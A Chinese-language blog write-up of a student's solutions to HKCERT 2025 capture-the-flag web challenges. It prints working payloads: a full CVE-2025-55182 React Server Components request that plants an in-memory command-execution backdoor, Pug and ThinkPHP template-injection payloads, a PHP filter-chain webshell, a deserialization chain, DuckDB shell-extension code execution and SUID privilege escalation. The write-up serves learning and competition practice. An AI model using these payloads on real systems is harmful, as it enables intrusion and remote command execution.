HKCERT 2025 web 部分wp

这次打的 OPEN 组。第 4,晋级。我所在的联合战队 W&M 这次是 INTERNATIONAL 冠军。想想马上就能在香港见到大家还是有点激动。(不过我中六可能线下去不去还两说,唉,DSE)

写个 web wp:做出来的就写自己的,做不出来就找 W&M 的复现了写。就当是记录了。HKCERT 今年刚好在本人期末前两天,这里也要感谢同队的 pwn 小高手 jerrythepro 带飞我。

(正准备复现呢发现没法开平台......我真日了,那我只能靠记忆和联队的共享文档写了(补:过了一天好像又重新开放靶机了......))

ezjs

新生赛题。给到 NPC。

const expres=require('express')
const JSON5 = require('json5');
const bodyParser = require('body-parser')
const pugjs=require('pug')
const session = require('express-session')
const rand = require('string-random')
var cookieParser = require('cookie-parser');
const SECRET = rand(32, '0123456789abcdef')

const port=80
const app=expres()

app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
app.use(session({
    secret: SECRET,
    resave: false,
    saveUninitialized:  true,
    cookie: { maxAge: 3600 * 1000 }
}));
app.use(cookieParser());
function waf(obj, arr){
    let verify = true;

    Object.keys(obj).forEach((key) => {
        if (arr.indexOf(key) > -1) {
            verify = false;
        }
    });
    return verify;
}
app.get('/',(req,res)=>{
    res.send('hey bro!')
})

app.post('/login',(req,res)=>{
    let userinfo=JSON.stringify(req.body)
    const user = JSON5.parse(userinfo)
    if (waf(user, ['admin'])) {
        req.session.user  = user
        if(req. session.user.admin==true){
            req.session.user='admin'
            res.send('hello,admin')
        }
        else{
            res.send('hello,guest')
        }
    }
    else {
        res.send('login error!')
    }
})

app.post('/render',(req,res)=>{
    if (req.session.user === 'admin'){
    
        var word = req.body.word
        
        const blacklist = ['require', 'exec']
        let isBlocked = false
        
        if (word) {
            for (let keyword of blacklist) {
                if (word.toLowerCase().includes(keyword.toLowerCase())) {
                    isBlocked = true
                    break
                }
            }
        }
        
        if (isBlocked) {
            res.send('Blocked:  dangerous keywords detected!')
        } else {
            var hello='welcome '+ word
            res.send (pugjs.render(hello))
        }
    }
    else{
        res.send('you are not admin')
    }
})

app.listen(port, () => {
    console.log(`Example app listening on port ${port}`)
})

要登陆 admin。session 密钥是随机的。这里很明显有:

function waf(obj, arr){
    let verify = true;

    Object.keys(obj).forEach((key) => {
        if (arr.indexOf(key) > -1) {
            verify = false;
        }
    });
    return verify;
}

会把请求体的东西与 user 这个 object merge 一下。很明显的原型链污染。见:https://mdn.org.cn/en-US/docs/Web/Security/Attacks/Prototype_pollution

在 /login 路由 json 传{"__proto__":{"admin":true}}登录。

很明显 /render 路由有 SSTI 的 sink。这里有黑名单:

const blacklist = ['require', 'exec']

mainModuleconstructor返回一个processobject,再找_fs直接读即可:

word=#{process.mainModule.constructor('return process')().mainModule.constructor._load('fs').readFileSync('/flag','utf8')}

办法很多,也可以参考其他师傅的wp。

BabyUpload

比较不错的一道题。给到顶级。

黑盒,简单测了一下。文件名和文件内容不允许包含p字符(以及一些其它的敏感字符,如?)。上传的文件会去 /upload 目录下。注意到该目录下无php文件。不考虑.user.ini,ban了?,不考虑短标签和asp形式的标签的前提下暂时不考虑 php 木马。看报错页面,注意到为 apache。考虑.htaccess相关攻击(.htaccess中不含字符p

apache的.htaccess遵循apache expressions规则。考虑以下文档:

https://httpd.apache.org/docs/2.4/expr.html

我们可以用 file 函数读取文件。随后,可以用ErrorDocument控制返回页面的HTTP 状态码。同时apache为我们提供了比较运算符:

image

可以读文件;可以控制返回页面;可以比较字符。考虑传统的布尔盲注二分法解题。然而,赛后与某位中学组 web 高高手讨论得,如下 payload 亦成立:

ErrorDocument 404 "%{file:/flag}"

可以使用%{}语法。因此,此处可以直接读取文件值。我们上传此.htaccess文件,随后访问/upload/xxx使其触发 404 报错得到 flag。

react

纯 CVE 复现。也是新生赛题。给到 NPC。

CVE 为 CVE-2025-55182。参考:https://wiki.bafangwy.com/doc/896/

公式内存马出。

POST / HTTP/1.1
Host: XXXX
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/exec'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

访问 /exec?cmd=cat%20/f* 得到 flag。

easy-lua

十年内无人能懂出题人想法。给到拉完了。

是一个经典的 Jail 类型题目。然而黑盒。这里的题解是,用以下 payload:

for name, value in pairs(_G) do
    if type(value) == "function" then
        print(name)
    end
end

获取当前沙箱内所有函数。有:

image

注意到有S3cr3t0sEx3cFunc。猜测为危险函数。调用执行命令获得 flag:

image

至于如何想到有隐藏的恶意函数,而又如何想到该函数如何使用,本人不太清楚。

r

好题,给到顶级。

<?php
error_reporting(0);
highlight_file(__FILE__);

class RequestHandler {
    public $processor;
    public $action;
    
    public function __construct() {
        $this->processor = new class {
            private $handle;
            
            public function __construct() {
                $this->handle = tmpfile();
            }
            
            public function __wakeup() {
                $this->handle = null;
            }
            
            public function execute() {
                if (!is_resource($this->handle)) {
                    die("Invalid resource state<br>");
                }
                system($_GET['cmd']);
            }
        };
    }
    
    public function __destruct() {
        if (!is_array($this->action)) {
            die("Error: action must be an array");
        }
        $cb=$this->action;
        $cb();
    }
}

$payload = $_GET['p'] ?? 'O:14:"RequestHandler":N';
@unserialize($payload);

php中有可调用数组一说。当数组的第一个元素为 object,第二个元素为函数名称时。直接 call 这个数组会调用该 object 下的函数。

注意到:

public function __wakeup() {
    $this->handle = null;  // 将handle设为null
}

这里不能让他调用到 __wakeup 否则后续的 is_resource 检查会失败。PHP的__wakeup()在对象完全构造后调用,但我们可以通过引用或特殊构造绕过。这里我们尝试通过回调__construct来构造。

利用链:

O:14:"RequestHandler":2:{  # 外层RequestHandler对象
    s:9:"processor";N;     # processor为null
    s:6:"action";a:2:{     # action是数组,有2个元素
        i:0;O:14:"RequestHandler":2:{  # 第0个元素:内层RequestHandler对象
            s:9:"processor";N;         # processor为null
            s:6:"action";a:2:{         # action是数组
                i:0;R:5;               # 引用到第5个元素
                i:1;s:7:"execute";     # 字符串"execute"
            }
        }
        i:1;s:11:"__construct";       # 第1个元素:字符串"__construct"
    }
}

此处第5个元素为内层的RequestHandler。在PHP序列化中,元素的计数从1开始。

  • 外层RequestHandler对象(位置1)
  • 属性"processor"(null,位置2)
  • 属性"action"(数组,位置3)
  • 内层RequestHandler对象(位置4)
  • 内层对象的属性"processor"(null,位置5)← R:5引用的就是这里

R:5创建了对processor的引用。__wakeup()在对象反序列化时立即调用,但__construct()在之后被回调。通过回调__construct(),重新创建了匿名类对象,重置了$handle。

整理了一下大概是:

  1. 反序列化开始
  2. 创建外层对象
  3. 创建内层对象(此时匿名类__wakeup()触发,handle=null)
  4. 反序列化完成
  5. 外层对象__destruct()触发
  6. 调用[内层对象, "__construct"]回调
  7. 内层对象__construct()执行,重新创建匿名类对象(handle=有效资源)
  8. 调用[processor引用, "execute"]回调
  9. execute()检查handle资源有效
  10. 执行system($_GET['cmd'])

随后传入合适的cmd打完。

insph

依旧新生赛。给到 NPC。

查看源码时只需要注意到:

if (isset($_GET['data'])) {
    $data = $_GET['data'];
    if (preg_match("/zip|phar|uploads/i",$data)){
        exit("Don't use dangerous protocol!");
    }
    file_put_contents($data, file_get_contents($data));
    echo "Data processed successfully!";
    exit;
}

这里有任意file_put_contentsfile_get_contents。我们通过 filter chain 可以构造 resource 为任意文件的 php 一句话木马。而此处file_put_contents的第一个参数(即写入文件名)为 data 本身。

我们都知道。在file_put_contents函数中,filter 链子的结果就是最后的 resource。因此我们在 resource 里填入木马文件名,再使用filter chain技术使得file_get_contents的返回结果为一句话木马即可。

这样,file_put_contents的结果就是木马名称,而file_get_contents的结果就是一句话木马。

python3 php_filter_chain_generator.py --chain '<?php system($_GET[1]); ?>'

php://temp 改成 a.php 直接写 webshell。访问/a.php?1=cat%20/f*打完。

renderme

题目本身的设计还行。但是毫无引导真的想不到是 thinkphp 模板渲染啊。给到 NPC。

首先随便报个错就能发现是 thinkphp v8.1.3 框架。这个版本打不了常见的 CVE。这里的正解是 SSTI。

以防你不知道 thinkphp 还有模板功能:https://doc.thinkphp.cn/@think-template/default.html

发现是有 WAF 的。黑盒测了以下发现 SERVER.HTTP 的东西可以用,而且可以用 file_put_contents 写。所以我们这里用外带逃逸,把一句话放在 HTTP 头里用 file_put_contents 写进服务器:

模板的使用方法:

image

?name=``{$_SERVER.HTTP_1 | file_put_contents=$_SERVER.HTTP_2}

这样就可以调用 file_put_contents 并且将参数逃逸到 HTTP Headers 中。此处我们添加 HEADER

1: 1.php
2: system($_GET[1])

就可以把一句话木马写在 1.php 里。

随后发现要提权。这里查看 linux 内核版本可以打 OOM 的 choom 提权:

1.php?1=choom -n nl /root/f*

打完。

Dam Breach

队友做的。太强了。是利用一个很隐蔽的DuckDB支持做题解。给到夯。

打开题目是一个 cloud beaver。有执行所支持的 SQL 脚本的权限。要连接数据库我们可以使用 :memory: 连接其内存数据库。

image

本地搭建一个服务发现他是默认不支持DuckDB的。会有如下安全警示:

image

注意到题目中的服务支持DuckDB。那么就可以考虑用DuckDB去打。先选中DuckDB随后连接内存数据库即可执行DuckDB的 SQL 语句。阅读提示发现DuckDB可以让我们有权限访问本地文件。故此处考虑读文档找有啥函数可以读:https://duckdb.org/docs/stable/guides/file_formats/read_file

这里能用如:

SELECT * from read_csv('/etc/passwd');

读取到/etc/passwd。但是没有/flag,估计是要 RCE。

注意到DuckDB支持插件功能。这里找到一个插件:https://duckdb.org/community_extensions/extensions/shellfs

该插件可以帮助我们传入 shell 命令作为参数。

image

因此我们先安装此插件:

INSTALL shellfs FROM community;

以及

LOAD shellfs;

随后就可以采用如下方式 RCE:

SELECT * from read_csv('whoami |');

那么后面就是一个提权。先看看 root 权限的东西都有啥:

image

这里是一个 SUID 提权。找一下发现 find 有 root 权限。用经典的 find SUID 提权打完。

image

nettools

强网拟态线下决赛的时候我是不是见过这个题目啊(恼),给到拉完了。

前半部分是原题。后半部分融了个意义不明的 FastMCP 环节。

代审。先去绕过 auth 系统拿 admin。然后再黑盒打 FastMCP 的相关利用。

注意到:

def verify_token(token: str) -> TokenData:
    print(f"Token to verify: {token}")
    
    try:
        SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
    except Exception:
        raise HTTPException(
            status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, 
            detail=f"Token custom check failed: {traceback.format_exc()}"
            )
    
    try:     
        payload: dict[str, Any] = jwt.decode(token, settings.SECRET_KEY, algorithms=[settings.ALGORITHM])

        username: str = payload.get("sub")
        
        if username is None:
            raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token: 'sub' missing")
        
        is_admin = (username == settings.ADMIN_USERNAME)

        return TokenData(username=username, is_admin=is_admin)
        
    except jwt.PyJWTError:
        raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token: signature or expiration failed")

这里报错用了traceback.format_exc()打印异常信息。那么我们可以利用这个信息来获取到 SECRET_KEY

我们构建一个畸形的 token 让他失败就行了。比如:

image

用 padding 搞崩他的 base64 解码。通过traceback.format_exc()里的信息获泄露到 SECRET_KEY。随后jwt.io用泄露的SECRET_KEY签一个 admin 用户的 auth 即可。

进去之后是一个 SSRF。写个脚本挨个端口访问就能发现 9000 端口有东西。访问一下发现是 FastMCP 框架。

所以我们这里先初始化拿一下 MCP 的 session ID 。随后用如下 payload 列一下工具

HEADER:
{
    "Accept": "application/json, text/event-stream",
    "Content-Type": "application/json",
    "mcp-session-id": "<MCP_SESSION_ID>"
}
BODY:
{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/list",
  "params": {}
}

prompts/list下有个where_is_flagtools,调用这个工具发现 flag 在 /root/1ffflllaaaggg

resources/templates/list中可以得知:

image

这个resource/read可以从 /tmp 下任意读。考虑路径穿越。禁止了除base64://tmp/外的/考虑 URL 编码绕过:

HEADER:
{
    "Accept": "application/json, text/event-stream",
    "Content-Type": "application/json",
    "mcp-session-id": "<MCP_SESSION_ID>"
}
BODY:
{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "resources/read",
    "params": {
        "uri": "base64://tmp/%2f..%2froot%2f1ffflllaaaggg"
        }
    }

打完。

这里还要准备期末后面的题就先放着了。比赛的时候也没做出来,后面也得去看 W&M 的题解再补。先准备期末。

我们 2.6 香港见。

posted @ 2025-12-22 18:50  LamentXU  阅读(175)  评论(0)    收藏  举报